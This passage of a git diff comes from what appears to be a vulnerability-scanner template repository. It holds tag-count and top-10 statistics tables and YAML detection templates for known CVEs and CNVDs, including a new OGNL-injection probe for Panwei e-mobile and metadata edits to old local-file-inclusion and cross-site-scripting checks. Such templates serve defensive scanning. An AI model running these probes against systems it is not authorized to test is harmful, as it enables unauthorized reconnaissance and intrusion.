owa | 1 | | | | | | | | | +| buttercms | 1 | | | | | | | | | +| ricoh | 1 | | | | | | | | | +| panwei | 1 | | | | | | | | | +| tianqing | 1 | | | | | | | | | +| dwr | 1 | | | | | | | | | +| kodi | 1 | | | | | | | | | +| revealjs | 1 | | | | | | | | | +| javafaces | 1 | | | | | | | | | +| knowage | 1 | | | | | | | | | +| shiro | 1 | | | | | | | | | +| accent | 1 | | | | | | | | | +| dolphinscheduler | 1 | | | | | | | | | +| cmsimple | 1 | | | | | | | | | +| eyoucms | 1 | | | | | | | | | +| opencast | 1 | | | | | | | | | +| cherokee | 1 | | | | | | | | | +| webex | 1 | | | | | | | | | +| stackstorm | 1 | | | | | | | | | +| avalanche | 1 | | | | | | | | | +| e-mobile | 1 | | | | | | | | | +| ilo4 | 1 | | | | | | | | | +| sitemap | 1 | | | | | | | | | +| primetek | 1 | | | | | | | | | +| sourcebans | 1 | | | | | | | | | +| sitefinity | 1 | | | | | | | | | +| xmlchart | 1 | | | | | | | | | +| ait-csv | 1 | | | | | | | | | +| pyramid | 1 | | | | | | | | | +| epm | 1 | | | | | | | | | +| monday | 1 | | | | | | | | | +| aura | 1 | | | | | | | | | +| bolt | 1 | | | | | | | | | +| wallix | 1 | | | | | | | | | +| wowza | 1 | | | | | | | | | +| adWidget | 1 | | | | | | | | | +| particle | 1 | | | | | | | | | +| zarafa | 1 | | | | | | | | | +| bingmaps | 1 | | | | | | | | | +| comfortel | 1 | | | | | | | | | +| opsview | 1 | | | | | | | | | +| interlib | 1 | | | | | | | | | +| thinkserver | 1 | | | | | | | | | +| alertmanager | 1 | | | | | | | | | +| pivotaltracker | 1 | | | | | | | | | +| xunchi | 1 | | | | | | | | | +| icc-pro | 1 | | | | | | | | | +| microfinance | 1 | | | | | | | | | +| scrapingant | 1 | | | | | | | | | +| pendo | 1 | | | | | | | | | +| nexusdb | 1 | | | | | | | | | +| verint | 1 | | | | | | | | | +| eyelock | 1 | | | | | | | | | +| xproxy | 1 | | | | | | | | | +| lutron | 1 | | | | | | | | | +| mariadb | 1 | | | | | | | | | +| pagerduty | 1 | | | | | | | | | +| ganglia | 1 | | | | | | | | | +| php-fusion | 1 | | | | | | | | | +| sourcecodester | 1 | | | | | | | | | +| tinymce | 1 | | | | | | | | | +| acme | 1 | | | | | | | | | +| pippoint | 1 | | | | | | | | | +| onelogin | 1 | | | | | | | | | +| zerodium | 1 | | | | | | | | | +| imap | 1 | | | | | | | | | +| moinmoin | 1 | | | | | | | | | +| zzcms | 1 | | | | | | | | | +| pushgateway | 1 | | | | | | | | | +| ruoyi | 1 | | | | | | | | | +| feifeicms | 1 | | | | | | | | | +| lob | 1 | | | | | | | | | +| wifisky | 1 | | | | | | | | | +| dixell | 1 | | | | | | | | | +| hue | 1 | | | | | | | | | +| goahead | 1 | | | | | | | | | +| phpfastcache | 1 | | | | | | | | | +| omi | 1 | | | | | | | | | +| haproxy | 1 | | | | | | | | | +| opengear | 1 | | | | | | | | | +| tracking | 1 | | | | | | | | | +| collegemanagement | 1 | | | | | | | | | +| satellian | 1 | | | | | | | | | +| oscommerce | 1 | | | | | | | | | +| cname | 1 | | | | | | | | | +| jsonbin | 1 | | | | | | | | | +| clockwork | 1 | | | | | | | | | +| googlemaps | 1 | | | | | | | | | +| okta | 1 | | | | | | | | | +| aqua | 1 | | | | | | | | | +| ns | 1 | | | | | | | | | +| fleet | 1 | | | | | | | | | +| viewlinc | 1 | | | | | | | | | +| caa | 1 | | | | | | | | | +| etouch | 1 | | | | | | | | | +| xml | 1 | | | | | | | | | +| ewebs | 1 | | | | | | | | | +| cryptocurrencies | 1 | | | | | | | | | +| orangeforum | 1 | | | | | | | | | +| svnserve | 1 | | | | | | | | | +| netgenie | 1 | | | | | | | | | +| scraperbox | 1 | | | | | | | | | +| svn | 1 | | | | | | | | | +| intelliflash | 1 | | | | | | | | | +| distance | 1 | | | | | | | | | +| logontracer | 1 | | | | | | | | | +| zcms | 1 | | | | | | | | | +| misconfiguration | 1 | | | | | | | | | +| cx | 1 | | | | | | | | | +| calendarific | 1 | | | | | | | | | +| landray | 1 | | | | | | | | | +| natemail | 1 | | | | | | | | | +| satellite | 1 | | | | | | | | | +| directorist | 1 | | | | | | | | | +| europeana | 1 | | | | | | | | | +| maxsite | 1 | | | | | | | | | +| emc | 1 | | | | | | | | | +| jeewms | 1 | | | | | | | | | +| sqwebmail | 1 | | | | | | | | | +| xenmobile | 1 | | | | | | | | | +| hanming | 1 | | | | | | | | | +| bonita | 1 | | | | | | | | | +| biostar2 | 1 | | | | | | | | | +| quantum | 1 | | | | | | | | | +| amdoren | 1 | | | | | | | | | +| arl | 1 | | | | | | | | | +| olivetti | 1 | | | | | | | | | +| burp | 1 | | | | | | | | | +| whmcs | 1 | | | | | | | | | +| mirasys | 1 | | | | | | | | | +| cors | 1 | | | | | | | | | +| jgraph | 1 | | | | | | | | | +| oki | 1 | | | | | | | | | +| blitapp | 1 | | | | | | | | | +| restler | 1 | | | | | | | | | +| blue-ocean | 1 | | | | | | | | | +| csod | 1 | | | | | | | | | +| webpconverter | 1 | | | | | | | | | +| currencylayer | 1 | | | | | | | | | +| panasonic | 1 | | | | | | | | | +| webshell4 | 1 | | | | | | | | | +| upnp | 1 | | | | | | | | | +| event | 1 | | | | | | | | | +| management | 1 | | | | | | | | | +| meraki | 1 | | | | | | | | | +| xiuno | 1 | | | | | | | | | +| cvms | 1 | | | | | | | | | +| antsword | 1 | | | | | | | | | +| optiLink | 1 | | | | | | | | | +| archibus | 1 | | | | | | | | | +| mastodon | 1 | | | | | | | | | +| fcm | 1 | | | | | | | | | +| sceditor | 1 | | | | | | | | | +| fanwei | 1 | | | | | | | | | +| allied | 1 | | | | | | | | | +| clickup | 1 | | | | | | | | | +| exchangerateapi | 1 | | | | | | | | | +| roteador | 1 | | | | | | | | | +| webui | 1 | | | | | | | | | +| concourse | 1 | | | | | | | | | +| b2bbuilder | 1 | | | | | | | | | +| tracing | 1 | | | | | | | | | +| qizhi | 1 | | | | | | | | | +| mojoauth | 1 | | | | | | | | | +| yopass | 1 | | | | | | | | | +| chinaunicom | 1 | | | | | | | | | +| shoretel | 1 | | | | | | | | | +| contentful | 1 | | | | | | | | | +| htmli | 1 | | | | | | | | | +| cscart | 1 | | | | | | | | | +| fusion | 1 | | | | | | | | | +| virustotal | 1 | | | | | | | | | +| novus | 1 | | | | | | | | | +| deviantart | 1 | | | | | | | | | +| saltapi | 1 | | | | | | | | | +| securenvoy | 1 | | | | | | | | | +| bibliosoft | 1 | | | | | | | | | +| springframework | 1 | | | | | | | | | +| tembosocial | 1 | | | | | | | | | +| opennms | 1 | | | | | | | | | +| dasan | 1 | | | | | | | | | +| huemagic | 1 | | | | | | | | | +| asana | 1 | | | | | | | | | +| jspxcms | 1 | | | | | | | | | +| magicflow | 1 | | | | | | | | | +| appveyor | 1 | | | | | | | | | +| xdcms | 1 | | | | | | | | | +| screenshot | 1 | | | | | | | | | +| vibe | 1 | | | | | | | | | +| adafruit | 1 | | | | | | | | | +| proxycrawl | 1 | | | | | | | | | +| iserver | 1 | | | | | | | | | +| bazarr | 1 | | | | | | | | | +| cofense | 1 | | | | | | | | | +| streetview | 1 | | | | | | | | | +| mediation | 1 | | | | | | | | | +| viaware | 1 | | | | | | | | | +| dvdFab | 1 | | | | | | | | | +| caddy | 1 | | | | | | | | | +| tor | 1 | | | | | | | | | +| submitty | 1 | | | | | | | | | +| mitel | 1 | | | | | | | | | +| buildkite | 1 | | | | | | | | | +| webmodule-ee | 1 | | | | | | | | | +| dss | 1 | | | | | | | | | +| iceflow | 1 | | | | | | | | | +| gitblit | 1 | | | | | | | | | +| webnms | 1 | | | | | | | | | +| raspap | 1 | | | | | | | | | +| easyappointments | 1 | | | | | | | | | +| quip | 1 | | | | | | | | | +| fullhunt | 1 | | | | | | | | | +| gstorage | 1 | | | | | | | | | +| daybyday | 1 | | | | | | | | | +| ddownload | 1 | | | | | | | | | +| ipfind | 1 | | | | | | | | | +| nownodes | 1 | | | | | | | | | +| gateone | 1 | | | | | | | | | +| oliver | 1 | | | | | | | | | +| racksnet | 1 | | | | | | | | | +| geocode | 1 | | | | | | | | | +| newrelic | 1 | | | | | | | | | +| details | 1 | | | | | | | | | +| mailwatch | 1 | | | | | | | | | +| spf | 1 | | | | | | | | | +| fatwire | 1 | | | | | | | | | +| cve2002 | 1 | | | | | | | | | +| tekon | 1 | | | | | | | | | +| vcloud | 1 | | | | | | | | | +| mdm | 1 | | | | | | | | | +| neo4j | 1 | | | | | | | | | +| kerio | 1 | | | | | | | | | +| icinga | 1 | | | | | | | | | +| web-suite | 1 | | | | | | | | | +| containers | 1 | | | | | | | | | +| phabricator | 1 | | | | | | | | | +| mongoshake | 1 | | | | | | | | | +| sucuri | 1 | | | | | | | | | +| serverstatus | 1 | | | | | | | | | +| nweb2fax | 1 | | | | | | | | | +| yealink | 1 | | | | | | | | | +| binance | 1 | | | | | | | | | +| pagecdn | 1 | | | | | | | | | +| librenms | 1 | | | | | | | | | +| okiko | 1 | | | | | | | | | +| barracuda | 1 | | | | | | | | | +| werkzeug | 1 | | | | | | | | | +| wazuh | 1 | | | | | | | | | +| suprema | 1 | | | | | | | | | +| flask | 1 | | | | | | | | | +| dreamweaver | 1 | | | | | | | | | +| idera | 1 | | | | | | | | | +| opm | 1 | | | | | | | | | +| esxi | 1 | | | | | | | | | +| shindig | 1 | | | | | | | | | +| nj2000 | 1 | | | | | | | | | +| omniampx | 1 | | | | | | | | | +| clickhouse | 1 | | | | | | | | | +| ethereum | 1 | | | | | | | | | +| ecsimagingpacs | 1 | | | | | | | | | +| luftguitar | 1 | | | | | | | | | +| ssi | 1 | | | | | | | | | +| expn | 1 | | | | | | | | | +| axxonsoft | 1 | | | | | | | | | +| binaryedge | 1 | | | | | | | | | +| nordex | 1 | | | | | | | | | +| puppetdb | 1 | | | | | | | | | +| remkon | 1 | | | | | | | | | +| flexbe | 1 | | | | | | | | | +| formalms | 1 | | | | | | | | | +| prexview | 1 | | | | | | | | | +| privx | 1 | | | | | | | | | +| hcl | 1 | | | | | | | | | +| qvisdvr | 1 | | | | | | | | | +| robomongo | 1 | | | | | | | | | +| piano | 1 | | | | | | | | | +| ez | 1 | | | | | | | | | +| zaver | 1 | | | | | | | | | +| biometrics | 1 | | | | | | | | | +| sprintful | 1 | | | | | | | | | +| debounce | 1 | | | | | | | | | +| wmt | 1 | | | | | | | | | +| led | 1 | | | | | | | | | +| iterable | 1 | | | | | | | | | +| fedora | 1 | | | | | | | | | +| web3storage | 1 | | | | | | | | | +| smartblog | 1 | | | | | | | | | +| ecom | 1 | | | | | | | | | +| dericam | 1 | | | | | | | | | +| varnish | 1 | | | | | | | | | +| bash | 1 | | | | | | | | | +| boa | 1 | | | | | | | | | +| kyan | 1 | | | | | | | | | +| scrapestack | 1 | | | | | | | | | +| savepage | 1 | | | | | | | | | +| mofi | 1 | | | | | | | | | +| clink-office | 1 | | | | | | | | | +| powerjob | 1 | | | | | | | | | +| lenovo | 1 | | | | | | | | | +| teltonika | 1 | | | | | | | | | +| urlscan | 1 | | | | | | | | | +| codestats | 1 | | | | | | | | | +| bitcoinaverage | 1 | | | | | | | | | +| solman | 1 | | | | | | | | | +| phpunit | 1 | | | | | | | | | +| bing | 1 | | | | | | | | | +| nette | 1 | | | | | | | | | +| bible | 1 | | | | | | | | | +| jeecg-boot | 1 | | | | | | | | | +| scraperapi | 1 | | | | | | | | | +| intouch | 1 | | | | | | | | | +| extreme | 1 | | | | | | | | | +| aerohive | 1 | | | | | | | | | +| bigfix | 1 | | | | | | | | | +| shopxo | 1 | | | | | | | | | +| esmtp | 1 | | | | | | | | | +| visualstudio | 1 | | | | | | | | | +| fms | 1 | | | | | | | | | +| yzmcms | 1 | | | | | | | | | +| blueiris | 1 | | | | | | | | | +| mkdocs | 1 | | | | | | | | | +| acontent | 1 | | | | | | | | | +| shortcode | 1 | | | | | | | | | +| leostream | 1 | | | | | | | | | +| rss | 1 | | | | | | | | | +| bibliopac | 1 | | | | | | | | | +| bhagavadgita | 1 | | | | | | | | | +| holidayapi | 1 | | | | | | | | | +| shoppable | 1 | | | | | | | | | +| tensorflow | 1 | | | | | | | | | +| fastvue | 1 | | | | | | | | | +| web3 | 1 | | | | | | | | | +| kingdee | 1 | | | | | | | | | +| hiboss | 1 | | | | | | | | | +| fancyproduct | 1 | | | | | | | | | +| lg-nas | 1 | | | | | | | | | +| ocs-inventory | 1 | | | | | | | | | +| addpac | 1 | | | | | | | | | +| idemia | 1 | | | | | | | | | +| fhem | 1 | | | | | | | | | +| thedogapi | 1 | | | | | | | | | +| flowdash | 1 | | | | | | | | | +| cnvd2022 | 1 | | | | | | | | | +| memcached | 1 | | | | | | | | | +| anycomment | 1 | | | | | | | | | +| smuggling | 1 | | | | | | | | | +| emerson | 1 | | | | | | | | | +| opencart | 1 | | | | | | | | | +| gargoyle | 1 | | | | | | | | | +| plone | 1 | | | | | | | | | +| dbeaver | 1 | | | | | | | | | +| rijksmuseum | 1 | | | | | | | | | +| dlp | 1 | | | | | | | | | +| kindeditor | 1 | | | | | | | | | +| pulsesecure | 1 | | | | | | | | | +| zoomeye | 1 | | | | | | | | | +| api2convert | 1 | | | | | | | | | +| festivo | 1 | | | | | | | | | +| sureline | 1 | | | | | | | | | +| teradici | 1 | | | | | | | | | +| google-earth | 1 | | | | | | | | | +| dnssec | 1 | | | | | | | | | +| web-dispatcher | 1 | | | | | | | | | +| malwarebazaar | 1 | | | | | | | | | +| fortigates | 1 | | | | | | | | | +| babel | 1 | | | | | | | | | +| revive | 1 | | | | | | | | | +| emlog | 1 | | | | | | | | | +| kodexplorer | 1 | | | | | | | | | +| dir-615 | 1 | | | | | | | | | +| spartacus | 1 | | | | | | | | | +| expressjs | 1 | | | | | | | | | +| ncomputing | 1 | | | | | | | | | +| playsms | 1 | | | | | | | | | +| thinkadmin | 1 | | | | | | | | | +| h2 | 1 | | | | | | | | | +| lfw | 1 | | | | | | | | | +| gsoap | 1 | | | | | | | | | +| jinfornet | 1 | | | | | | | | | +| blackduck | 1 | | | | | | | | | +| segment | 1 | | | | | | | | | +| hdnetwork | 1 | | | | | | | | | +| cofax | 1 | | | | | | | | | +| nimsoft | 1 | | | | | | | | | +| clockify | 1 | | | | | | | | | +| 1forge | 1 | | | | | | | | | +| credential | 1 | | | | | | | | | +| yachtcontrol | 1 | | | | | | | | | +| iframe | 1 | | | | | | | | | +| unauthenticated | 1 | | | | | | | | | +| themefusion | 1 | | | | | | | | | +| manager | 1 | | | | | | | | | +| razer | 1 | | | | | | | | | +| keenetic | 1 | | | | | | | | | +| extractor | 1 | | | | | | | | | +| phpminiadmin | 1 | | | | | | | | | +| issabel | 1 | | | | | | | | | +| wordcloud | 1 | | | | | | | | | +| noptin | 1 | | | | | | | | | +| spiderfoot | 1 | | | | | | | | | +| curcy | 1 | | | | | | | | | +| strava | 1 | | | | | | | | | +| 3com | 1 | | | | | | | | | +| b2evolution | 1 | | | | | | | | | +| cloudconvert | 1 | | | | | | | | | +| api-manager | 1 | | | | | | | | | +| mediacloud | 1 | | | | | | | | | +| kenesto | 1 | | | | | | | | | +| vault | 1 | | | | | | | | | +| iplanet | 1 | | | | | | | | | +| commvault | 1 | | | | | | | | | +| discourse | 1 | | | | | | | | | +| synnefo | 1 | | | | | | | | | +| radius | 1 | | | | | | | | | +| bravenewcoin | 1 | | | | | | | | | +| currencyscoop | 1 | | | | | | | | | +| powertek | 1 | | | | | | | | | +| zap | 1 | | | | | | | | | +| primefaces | 1 | | | | | | | | | +| billquick | 1 | | | | | | | | | +| zenrows | 1 | | | | | | | | | +| email | 1 | | | | | | | | | +| wiki | 1 | | | | | | | | | +| mspcontrol | 1 | | | | | | | | | +| pods | 1 | | | | | | | | | +| phpsec | 1 | | | | | | | | | +| clearbit | 1 | | | | | | | | | +| sonarcloud | 1 | | | | | | | | | +| secnet-ac | 1 | | | | | | | | | +| ignition | 1 | | | | | | | | | +| jsapi | 1 | | | | | | | | | +| analytify | 1 | | | | | | | | | +| geolocation | 1 | | | | | | | | | +| commscope | 1 | | | | | | | | | +| totolink | 1 | | | | | | | | | +| zuul | 1 | | | | | | | | | +| appweb | 1 | | | | | | | | | +| scs | 1 | | | | | | | | | +| jenkin | 1 | | | | | | | | | +| hostio | 1 | | | | | | | | | +| geutebruck | 1 | | | | | | | | | +| trane | 1 | | | | | | | | | +| termtalk | 1 | | | | | | | | | +| mantis | 1 | | | | | | | | | +| sympa | 1 | | | | | | | | | +| orbintelligence | 1 | | | | | | | | | +| markdown | 1 | | | | | | | | | +| floc | 1 | | | | | | | | | +| hetzner | 1 | | | | | | | | | +| fastapi | 1 | | | | | | | | | +| chronoforums | 1 | | | | | | | | | +| dicoogle | 1 | | | | | | | | | +| netbiblio | 1 | | | | | | | | | +| kerbynet | 1 | | | | | | | | | +| find | 1 | | | | | | | | | +| processmaker | 1 | | | | | | | | | +| fortressaircraft | 1 | | | | | | | | | +| opencti | 1 | | | | | | | | | +| cse | 1 | | | | | | | | | +| coinapi | 1 | | | | | | | | | +| acexy | 1 | | | | | | | | | +| nvrmini | 1 | | | | | | | | | +| nifi | 1 | | | | | | | | | +| hanwang | 1 | | | | | | | | | +| alerta | 1 | | | | | | | | | +| xyxel | 1 | | | | | | | | | +| cve2004 | 1 | | | | | | | | | +| default-page | 1 | | | | | | | | | +| c99 | 1 | | | | | | | | | +| screenshotapi | 1 | | | | | | | | | +| redcap | 1 | | | | | | | | | +| msmtp | 1 | | | | | | | | | +| mobile | 1 | | | | | | | | | +| behat | 1 | | | | | | | | | +| bitbucket | 1 | | | | | | | | | +| qualcomm | 1 | | | | | | | | | +| thecatapi | 1 | | | | | | | | | +| currencyfreaks | 1 | | | | | | | | | +| jupyterhub | 1 | | | | | | | | | +| monitorix | 1 | | | | | | | | | +| spotify | 1 | | | | | | | | | +| spectracom | 1 | | | | | | | | | +| videoxpert | 1 | | | | | | | | | +| m-files | 1 | | | | | | | | | +| wago | 1 | | | | | | | | | +| drive | 1 | | | | | | | | | +| sv3c | 1 | | | | | | | | | +| intelbras | 1 | | | | | | | | | +| incapptic-connect | 1 | | | | | | | | | +| trilithic | 1 | | | | | | | | | +| prototype | 1 | | | | | | | | | +| cve2000 | 1 | | | | | | | | | +| optimizely | 1 | | | | | | | | | +| krweb | 1 | | | | | | | | | +| jaspersoft | 1 | | | | | | | | | +| alumni | 1 | | | | | | | | | +| mx | 1 | | | | | | | | | +| mi | 1 | | | | | | | | | +| calendarix | 1 | | | | | | | | | +| awin | 1 | | | | | | | | | +| speed | 1 | | | | | | | | | +| axiom | 1 | | | | | | | | | +| expose | 1 | | | | | | | | | +| webftp | 1 | | | | | | | | | +| razor | 1 | | | | | | | | | +| stored | 1 | | | | | | | | | +| groupoffice | 1 | | | | | | | | | +| rmi | 1 | | | | | | | | | +| placeos | 1 | | | | | | | | | +| defi | 1 | | | | | | | | | +| onlinefarm | 1 | | | | | | | | | +| opensearch | 1 | | | | | | | | | +| taiga | 1 | | | | | | | | | +| diris | 1 | | | | | | | | | +| twitter-server | 1 | | | | | | | | | +| pyproject | 1 | | | | | | | | | +| synapse | 1 | | | | | | | | | +| simplecrm | 1 | | | | | | | | | +| mrtg | 1 | | | | | | | | | +| jumpcloud | 1 | | | | | | | | | +| strider | 1 | | | | | | | | | +| workreap | 1 | | | | | | | | | +| surreal | 1 | | | | | | | | | +| loganalyzer | 1 | | | | | | | | | +| reprise | 1 | | | | | | | | | +| camunda | 1 | | | | | | | | | +| bitquery | 1 | | | | | | | | | +| autocomplete | 1 | | | | | | | | | diff --git a/TOP-10.md b/TOP-10.md index 98ed1f88da..8117810855 100644 --- a/TOP-10.md +++ b/TOP-10.md @@ -1,12 +1,12 @@ | TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------| -| cve | 1156 | daffainfo | 560 | cves | 1160 | info | 1192 | http | 3187 | -| panel | 515 | dhiyaneshdk | 421 | exposed-panels | 523 | high | 874 | file | 68 | -| lfi | 461 | pikpikcu | 316 | vulnerabilities | 452 | medium | 662 | network | 50 | -| xss | 367 | pdteam | 262 | technologies | 255 | critical | 414 | dns | 17 | -| wordpress | 364 | geeknik | 179 | exposures | 204 | low | 183 | | | -| exposure | 293 | dwisiswant0 | 168 | misconfiguration | 197 | unknown | 6 | | | -| rce | 291 | princechaddha | 133 | workflows | 186 | | | | | -| cve2021 | 283 | 0x_akoko | 130 | token-spray | 154 | | | | | -| tech | 271 | gy741 | 118 | default-logins | 95 | | | | | -| wp-plugin | 264 | pussycat0x | 116 | file | 68 | | | | | +| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 | +| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 | +| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 | +| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 | +| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | | +| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | | +| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | | +| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | | +| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | | +| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | | diff --git a/cnvd/2017/CNVD-2017-03561.yaml b/cnvd/2017/CNVD-2017-03561.yaml new file mode 100644 index 0000000000..efd58260a4 --- /dev/null +++ b/cnvd/2017/CNVD-2017-03561.yaml @@ -0,0 +1,34 @@ +id: CNVD-2017-03561 + +info: + name: Panwei e-mobile - Ognl Injection + author: ritikchaddha + severity: high + reference: + - https://gitee.com/cute-guy/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md + metadata: + verified: true + fofa-query: app="ๆณ›ๅพฎ-eMobile" + tags: cnvd,cnvd2017,emobile,ognl,panwei + +variables: + num1: "9999" + num2: "5555" + +requests: + - method: GET + path: + - "{{BaseURL}}/login.do?message={{num1}}*{{num2}}" + - "{{BaseURL}}/login/login.do?message={{num1}}*{{num2}}" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '55544445' + + - type: status + status: + - 200 diff --git a/cnvd/2018/CNVD-2018-13393.yaml b/cnvd/2018/CNVD-2018-13393.yaml index 0cce50c757..f215ee7764 100644 --- a/cnvd/2018/CNVD-2018-13393.yaml +++ b/cnvd/2018/CNVD-2018-13393.yaml @@ -1,11 +1,16 @@ id: CNVD-2018-13393 info: - name: Metinfo LFI + name: Metinfo - Local File Inclusion author: ritikchaddha severity: high + description: Metinfo is susceptible to local file inclusion. reference: - https://paper.seebug.org/676/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 tags: metinfo,cnvd,cvnd2018,lfi requests: @@ -23,3 +28,5 @@ requests: - "Horde :: User Administration" - condition: and - type: status status: diff --git a/cves/2005/CVE-2005-4385.yaml b/cves/2005/CVE-2005-4385.yaml index 8d3c3a2d81..1e9d1f456d 100644 --- a/cves/2005/CVE-2005-4385.yaml +++ b/cves/2005/CVE-2005-4385.yaml @@ -1,12 +1,13 @@ id: CVE-2005-4385 info: - name: Cofax <= 2.0RC3 XSS + name: Cofax <=2.0RC3 - Cross-Site Scripting author: geeknik severity: medium - description: Cross-site scripting vulnerability in search.htm in Cofax 2.0 RC3 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter. + description: Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter. reference: - http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html + - http://web.archive.org/web/20210121165100/https://www.securityfocus.com/bid/15940/ - https://nvd.nist.gov/vuln/detail/CVE-2005-4385 classification: cve-id: CVE-2005-4385 @@ -26,3 +27,5 @@ requests: part: body words: - "'>\"" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2006/CVE-2006-1681.yaml b/cves/2006/CVE-2006-1681.yaml index 83e7678985..283b857a26 100644 --- a/cves/2006/CVE-2006-1681.yaml +++ b/cves/2006/CVE-2006-1681.yaml @@ -1,12 +1,14 @@ id: CVE-2006-1681 info: - name: Cherokee HTTPD <=0.5 XSS + name: Cherokee HTTPD <=0.5 - Cross-Site Scripting author: geeknik severity: medium - description: Cross-site scripting (XSS) vulnerability in Cherokee HTTPD 0.5 and earlier allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated. + description: Cherokee HTTPD 0.5 and earlier contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated. reference: - - https://www.securityfocus.com/bid/17408 + - http://web.archive.org/web/20210217161726/https://www.securityfocus.com/bid/17408/ + - http://web.archive.org/web/20140803090438/http://secunia.com/advisories/19587/ + - http://www.vupen.com/english/advisories/2006/1292 - https://nvd.nist.gov/vuln/detail/CVE-2006-1681 classification: cve-id: CVE-2006-1681 @@ -30,3 +32,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2006/CVE-2006-2842.yaml b/cves/2006/CVE-2006-2842.yaml index 8afac3689e..9834d5ffee 100644 --- a/cves/2006/CVE-2006-2842.yaml +++ b/cves/2006/CVE-2006-2842.yaml @@ -1,18 +1,22 @@ id: CVE-2006-2842 info: - name: Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion + name: Squirrelmail <=1.4.6 - Local File Inclusion author: dhiyaneshDk severity: high - description: 'PHP remote file inclusion vulnerability in functions/plugin.php in SquirrelMail 1.4.6 and earlier, if register_globals is enabled and magic_quotes_gpc is disabled, allows remote attackers to execute - arbitrary PHP code via a URL in the plugins array parameter. NOTE: this issue has been disputed by third parties, who state that Squirrelmail provides prominent warnings to the administrator when register_globals - is enabled. Since the varieties of administrator negligence are uncountable, perhaps this type of issue should not be included in CVE. However, the original developer has posted a security advisory, so there - might be relevant real-world environments under which this vulnerability is applicable.' + description: SquirrelMail 1.4.6 and earlier versions are susceptible to a PHP local file inclusion vulnerability in functions/plugin.php if register_globals is enabled and magic_quotes_gpc is disabled. This allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter. reference: - https://www.exploit-db.com/exploits/27948 + - http://squirrelmail.cvs.sourceforge.net/squirrelmail/squirrelmail/functions/global.php?r1=1.27.2.16&r2=1.27.2.17&view=patch&pathrev=SM-1_4-STABLE + - http://www.squirrelmail.org/security/issue/2006-06-01 + - http://web.archive.org/web/20160915101900/http://secunia.com/advisories/20406/ + - https://nvd.nist.gov/vuln/detail/CVE-2006-2842 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2006-2842 - tags: cve2006,lfi,squirrelmail,cve + cwe-id: CWE-22 + tags: cve,cve2006,lfi,squirrelmail,edb requests: - method: GET @@ -29,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2007/CVE-2007-0885.yaml b/cves/2007/CVE-2007-0885.yaml index 2cc0670c14..4c0e56ac25 100644 --- a/cves/2007/CVE-2007-0885.yaml +++ b/cves/2007/CVE-2007-0885.yaml @@ -1,12 +1,15 @@ id: CVE-2007-0885 info: - name: Rainbow.Zen Jira XSS + name: Jira Rainbow.Zen - Cross-Site Scripting author: geeknik severity: medium - description: Cross-site scripting (XSS) vulnerability in jira/secure/BrowseProject.jspa in Rainbow with the Zen (Rainbow.Zen) extension allows remote attackers to inject arbitrary web script or HTML via the id parameter. + description: Jira Rainbow.Zen contains a cross-site scripting vulnerability via Jira/secure/BrowseProject.jspa which allows remote attackers to inject arbitrary web script or HTML via the id parameter. reference: - - https://www.securityfocus.com/archive/1/459590/100/0/threaded + - http://web.archive.org/web/20201208220614/https://www.securityfocus.com/archive/1/459590/100/0/threaded + - https://web.archive.org/web/20210119080228/http://www.securityfocus.com/bid/22503 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/32418 + - https://nvd.nist.gov/vuln/detail/CVE-2007-0885 classification: cve-id: CVE-2007-0885 tags: cve,cve2007,jira,xss @@ -30,3 +33,5 @@ requests: part: header words: - "text/html" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2007/CVE-2007-4504.yaml b/cves/2007/CVE-2007-4504.yaml index 44ac9a5200..98144c6f06 100644 --- a/cves/2007/CVE-2007-4504.yaml +++ b/cves/2007/CVE-2007-4504.yaml @@ -1,16 +1,21 @@ id: CVE-2007-4504 info: - name: Joomla! Component RSfiles <=1.0.2 - Arbitrary File Retrieval + name: Joomla! RSfiles <=1.0.2 - Local File Inclusion author: daffainfo severity: high - description: An arbitrary file retrieval vulnerability in index.php in the RSfiles component (com_rsfiles) <=1.0.2 for Joomla! allows remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action. + description: Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action. reference: - https://www.exploit-db.com/exploits/4307 - https://www.cvedetails.com/cve/CVE-2007-4504 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/36222 + - https://nvd.nist.gov/vuln/detail/CVE-2007-4504 classification: + cvss-metrics: 